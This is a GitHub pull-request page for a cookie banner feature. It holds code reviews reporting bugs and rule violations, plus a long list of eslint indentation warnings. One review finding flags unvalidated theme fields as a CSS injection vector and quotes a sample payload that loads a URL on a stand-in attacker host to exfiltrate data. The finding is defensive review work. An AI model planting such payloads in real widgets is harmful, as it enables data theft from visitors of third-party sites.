Conversation
gearnode
left a comment
There was a problem hiding this comment.
Code Review
Bugs
#1 anonymizeIP always returns empty string for real HTTP traffic
r.RemoteAddr includes a port (e.g., 192.168.1.42:54321), but anonymizeIP passes it directly to net.ParseIP(), which returns nil for host:port strings. Every consent record will have an empty IP address.
File: pkg/server/api/cookiebanner/v1/handler.go:135
#2 Client sends ACCEPT_CATEGORY action but server rejects it
acceptCategory() sends "ACCEPT_CATEGORY" to the server, but ConsentAction.Scan() only accepts "ACCEPT_ALL", "REJECT_ALL", and "CUSTOMIZE". Every per-category accept will fail server-side with a 400 error.
File: packages/cookie-banner/src/headless/consent-manager.ts:212
#3 flushConsentQueue drops unprocessed entries on first failure
dequeueAllConsents() removes ALL entries from localStorage. If any entry fails to send, only that entry is re-queued and the loop breaks — all remaining unattempted entries are permanently lost.
File: packages/cookie-banner/src/headless/api.ts:104-118
CLAUDE.md Violations
#4 promisifyMutation used in new code
contrib/claude/relay.md explicitly states: "Do not use. Use useMutation with onCompleted/onError callbacks instead."
Files: apps/console/src/hooks/graph/CookieBannerGraph.ts:203, apps/console/src/pages/organizations/cookie-banners/tabs/CookieBannerCategoriesTab.tsx:146
#5 useMutationWithToasts used in new code
contrib/claude/relay.md explicitly states: "Do not use. Use useMutation combined with useToast instead."
File: apps/console/src/hooks/graph/CookieBannerGraph.ts:158,166,174,182
Code Review — PR #915#1
|
gearnode
left a comment
There was a problem hiding this comment.
Code Review — PR #915: Add cookie banner management
Validated Issues
#1 — Runtime crash: __ used before useTranslate() declaration
File: apps/console/src/hooks/graph/CookieBannerGraph.ts (lines 191-199, uncommitted changes)
In useDeleteCookieBanner, useMutationWithToasts is called with __("Cookie banner deleted successfully.") on line 194 before const { __ } = useTranslate() on line 199. Since __ is declared with const, it is in the temporal dead zone (TDZ) at the point of use — this will throw ReferenceError: Cannot access '__' before initialization at runtime when the hook is invoked.
Compare with other hooks in the same file (useCreateCookieBannerMutation, useUpdateCookieBannerMutation) which correctly declare useTranslate() before using __.
Fix: Move const { __ } = useTranslate(); above the useMutationWithToasts call.
#2 — CLAUDE.md violation: Queries and mutations in separate hooks/graph/ file
File: apps/console/src/hooks/graph/CookieBannerGraph.ts
apps/console/CLAUDE.md states:
Queries, fragments, and mutations are colocated in the component that uses them — never in separate
hooks/graph/files.
The entire CookieBannerGraph.ts file violates this rule. All queries and mutations should be colocated in the components that use them.
#3 — CLAUDE.md violation: useMutationWithToasts is deprecated
Files: apps/console/src/hooks/graph/CookieBannerGraph.ts (all mutation hooks), apps/console/src/pages/organizations/cookie-banners/tabs/CookieBannerCategoriesTab.tsx
contrib/claude/relay.md states:
useMutationWithToasts(deprecated)Do not use. Use
useMutationcombined withuseToastinstead.
All mutation hooks in this PR use useMutationWithToasts: useCreateCookieBannerMutation, useUpdateCookieBannerMutation, usePublishCookieBannerMutation, useDisableCookieBannerMutation, useDeleteCookieBanner, plus category mutations.
#4 — CLAUDE.md violation: Sentinel error not in var () block
File: pkg/consent/cookie_category.go (line 54)
var ErrCannotDeleteRequiredCategory = errors.New("cannot delete a required cookie category")CLAUDE.md states:
Sentinel errors in grouped
var ()blocks.
This sentinel error is declared as a bare var statement instead of inside a var () block.
#5 — No backend validation on theme fields (CSS injection vector)
Files: pkg/consent/cookie_banner.go (lines 63-77), pkg/server/api/console/v1/types/cookie_banner.go (MergeThemeInput)
UpdateCookieBannerRequest.Validate() validates name, title, description, labels, state, consent mode, and expiry days — but has zero validation on the Theme field. Theme values (colors, fontFamily, position, borderRadius) are stored as arbitrary strings in JSON and then interpolated directly into style.cssText in the embeddable widget (packages/cookie-banner/src/styled/preferences-renderer.ts).
Since the widget runs on third-party websites, an authenticated user with cookie-banner:update permission could store malicious CSS values (e.g., red; background-image: url('https://attacker.com/exfil')) that execute on all sites embedding the banner. This is a CSS injection vector that could enable data exfiltration or UI defacement.
Fix: Add server-side validation in UpdateCookieBannerRequest.Validate() — validate color fields against hex regex, position/revisitPosition against an allowlist, fontFamily against a safe pattern, and borderRadius range.
5a02e56 to
9100f5f
Compare
| if (categories[category]) { | ||
| const dataSrc = iframe.getAttribute("data-src"); | ||
| if (dataSrc) { | ||
| iframe.setAttribute("src", dataSrc); |
| if (categories[category]) { | ||
| const dataSrc = img.getAttribute("data-src"); | ||
| if (dataSrc) { | ||
| img.setAttribute("src", dataSrc); |
| if (categories[category]) { | ||
| const dataHref = link.getAttribute("data-href"); | ||
| if (dataHref) { | ||
| link.setAttribute("href", dataHref); |
9100f5f to
4ab602b
Compare
There was a problem hiding this comment.
Remaining comments which cannot be posted as a review comment to avoid GitHub Rate Limit
eslint (apps/console)
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 6 spaces but found 4 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 6 spaces but found 4 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 6 spaces but found 4 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Strings must use doublequote @stylistic/quotes
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Error: Cannot access refs during render
The usePaginationFragment hook should be used with an explicit generated Typescript type, e.g.: usePaginationFragment(...) relay/generated-typescript-types
🚫 [eslint (apps/console)] reported by reviewdog 🐶
'=' should be placed at the beginning of the line @stylistic/operator-linebreak
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
... must be placed on a new line @stylistic/jsx-one-expression-per-line
🚫 [eslint (apps/console)] reported by reviewdog 🐶
v must be placed on a new line @stylistic/jsx-one-expression-per-line
